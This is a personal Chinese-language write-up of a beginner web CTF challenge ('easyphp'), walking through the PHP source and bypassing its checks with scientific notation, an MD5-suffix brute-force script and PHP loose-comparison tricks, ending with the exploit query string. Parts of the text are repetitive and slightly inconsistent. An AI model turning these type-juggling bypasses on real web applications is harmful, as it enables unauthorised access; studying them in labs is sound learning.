攻防世界WEB难度一(个人记录)

easyphp

开启环境,得到以下代码

php 复制代码
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

进行分析,发现代码通过 3 个 GET 参数(a、b、c)设置层层验证,最终若key1 和 key2 均为1,将包含Hgfks.php并输出 flag。验证流程如下:

接收a、b、c参数 → 验证a和b → 验证c → 双key均为1则输出flag

接下来分别对a、b、c进行分析

第一,对a与b进行分析,关键代码及解释如下

php 复制代码
$a = $_GET['a'];
$b = $_GET['b'];

// 条件1:a存在 + 转int后>600万 + 长度≤3
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    // 条件2:b存在 + md5(b)的最后6位是8b184b
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
    }
}else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}
  1. 突破 a 的限制(核心:PHP 数值表示特性)
    表面矛盾:600 万是 7 位数字(6000000),但要求strlen($a)≤3(长度≤3)。
    关键特性:PHP 支持「科学计数法」表示大数字,且科学计数法字符串长度极短:
    例:7e6 → 转 int 后是7000000(>600 万),strlen("7e6")=3(满足长度要求);
    其他合法值:8e6、9e6、6.1e6(但6.1e6长度是 4,不符合,需选 3 位长度的)。
    结论:a=7e6(最优解,长度 3,intval 后 700 万 > 600 万)。
  2. 突破 b 的限制(核心:MD5 后 6 位碰撞)
    要求 substr(md5( b),-6,6) === '8b184b',即需找到一个字符串b,其 MD5 哈希值的最后 6 位为8b184b。
    解决方法:暴力破解(遍历字符串 / 数字,计算 MD5 并匹配后 6 位)
python 复制代码
import hashlib

target_suffix = "8b184b"  # 目标后6位
found_b = None

# 遍历0-200000,效率高且必能找到(实测范围内有多个)
for i in range(200000):
    b_str = str(i)  # 明文为数字字符串(容易碰撞)
    md5_hex = hashlib.md5(b_str.encode("utf-8")).hexdigest()  # 计算MD5(小写)
    if md5_hex[-6:] == target_suffix:
        found_b = b_str
        print(f"✅ 找到合法b值:{found_b}")
        print(f"MD5完整值:{md5_hex}(后6位:{md5_hex[-6:]})")
        break

if not found_b:
    print("继续扩大范围查找...")
    for i in range(200000, 500000):
        b_str = str(i)
        md5_hex = hashlib.md5(b_str.encode("utf-8")).hexdigest()
        if md5_hex[-6:] == target_suffix:
            found_b = b_str
            print(f"✅ 找到合法b值:{found_b}")
            print(f"MD5完整值:{md5_hex}(后6位:{md5_hex[-6:]})")
            break

这里可以得到一个b值为53724

第二,对c及相关部分进行分析

验证参数 c需满足嵌套条件,c是 JSON 字符串转成的数组,核心逻辑:

php 复制代码
$c=(array)json_decode(@$_GET['c']);
// 条件1:c是数组 + c["m"]非数字 + c["m"]>2022
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    // 条件2:c["n"]是数组 + 长度=2 + c["n"][0]是数组
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        // 条件3:c["n"]中存在"DGGJ"(松散比较)
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        // 条件4:c["n"]中没有任何元素严格等于"DGGJ"
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }
}
  1. 突破 c ["m"] 的限制(核心:PHP 松散比较)
    要求:!is_numeric(c["m"])(非数字/数字字符串)且c["m"])(非数字 / 数字字符串)且c["m"])(非数字/数字字符串)且c["m"] > 2022(转成数字后 > 2022)。
    关键特性:PHP 中非数字字符串与数字比较时,会尝试将字符串转成数字(仅保留开头数字部分)。
    例:$c["m"] = "2023abc":!is_numeric("2023abc") → true(不是纯数字字符串);("2023abc" > 2022) → true(转成数字是 2023,>2022)。
    结论:c["m"] = "2023test"(任意非数字后缀的字符串,前缀数字 > 2022)。
  2. 突破 c ["n"] 的限制(核心:array_search 松散比较漏洞)
    看似矛盾的两个条件:
    条件 3:array_search("DGGJ", c\["n"\]) 找到值(返回键名,非 false); 条件 4: c["n"]中无元素严格等于"DGGJ"(===)。
    array_search默认是弱比较,但在循环中却是强比较,在PHP中字符串转数字的规则是,非数字开头的字符串转数字为0,即"DGGJ"转int变为0。于是可以知道,若c\["n"\]中存在0,则array_search("DGGJ", c["n"]) → 0 == "DGGJ"返回0或对应键名,而在循环中0 = = ="DGGJ"→ false(严格比较不成立)不会 die
    同时需满足:
    c["n"]是数组,长度 = 2;
    c["n"][0]是数组(任意子数组均可,如[])。
    结论:c["n"] = [ [], 0 ](第一个元素是数组,第二个元素是 0,长度 = 2)。
  3. 构造完整的 c 参数
    将c的数组结构转为 JSON 字符串:
    {
    "m": "2023test",
    "n": [ [], 0 ]
    }
    URL 编码后(JSON 字符串中的引号需转义,或直接用单引号?不,JSON 仅支持双引号,URL 传输时需对特殊字符编码):
    最终c的参数值(URL 编码后):{"m":"2023test","n":[[],"0"]} → 无需额外编码,直接传输即可(PHP 的 json_decode 可解析)。
    三、最终利用方案
    各参数最终值
    a=7e6(满足 intval>600 万,长度 3);
    b=53724(md5 后 6 位为 8b184b,实际以脚本运行结果为准);
    c={"m":"2023test","n":[[],"0"]}(JSON 格式,满足所有数组和比较条件)。
    尝试在目标网址后加上?a=7e6&b=53724&c={"m":"2023test","n":[[],"0"]},发现并没有返回flag等相关结果,思考哪里有问题,a与b都没问题,那就只有c有问题了。
    之前的"2023test"合法,但避免极端情况(如某些 PHP 版本对后缀字符的解析差异),建议用更简洁的非数字字符串:c["m"] = "2024_abc"(前缀数字 2024>2022,后缀非数字,满足!is_numeric)。
    最终访问
    ?a=7e6&b=53724&c={"m":"2024_abc","n":[ [], 0 ]}
    最终得到结果
相关推荐
陈天伟教授1 小时前
基于学习的人工智能(4)机器学习基本框架
人工智能·学习·机器学习
7***37451 小时前
DeepSeek在文本分类中的多标签学习
学习·分类·数据挖掘
jiushun_suanli2 小时前
量子纠缠:颠覆认知的宇宙密码
经验分享·学习·量子计算
Q_Q5110082852 小时前
python+django/flask的结合人脸识别和实名认证的校园论坛系统
spring boot·python·django·flask·node.js·php
Q_Q5110082852 小时前
python+django/flask的选课系统与课程评价整合系统
spring boot·python·django·flask·node.js·php
charlie1145141912 小时前
勇闯前后端Week2:后端基础——Flask API速览
笔记·后端·python·学习·flask·教程
权泽谦2 小时前
PHP 版羊了个羊完整开发实战:逻辑解析 + 三消算法 + 全套接口(附源码)
开发语言·php
深蓝海拓2 小时前
OpenCV学习笔记之:调整ORB算法的参数以适应不同的图像
笔记·opencv·学习
d111111111d2 小时前
STM32外设--SPI读取W25Q64(学习笔记)硬件SPI
笔记·stm32·单片机·嵌入式硬件·学习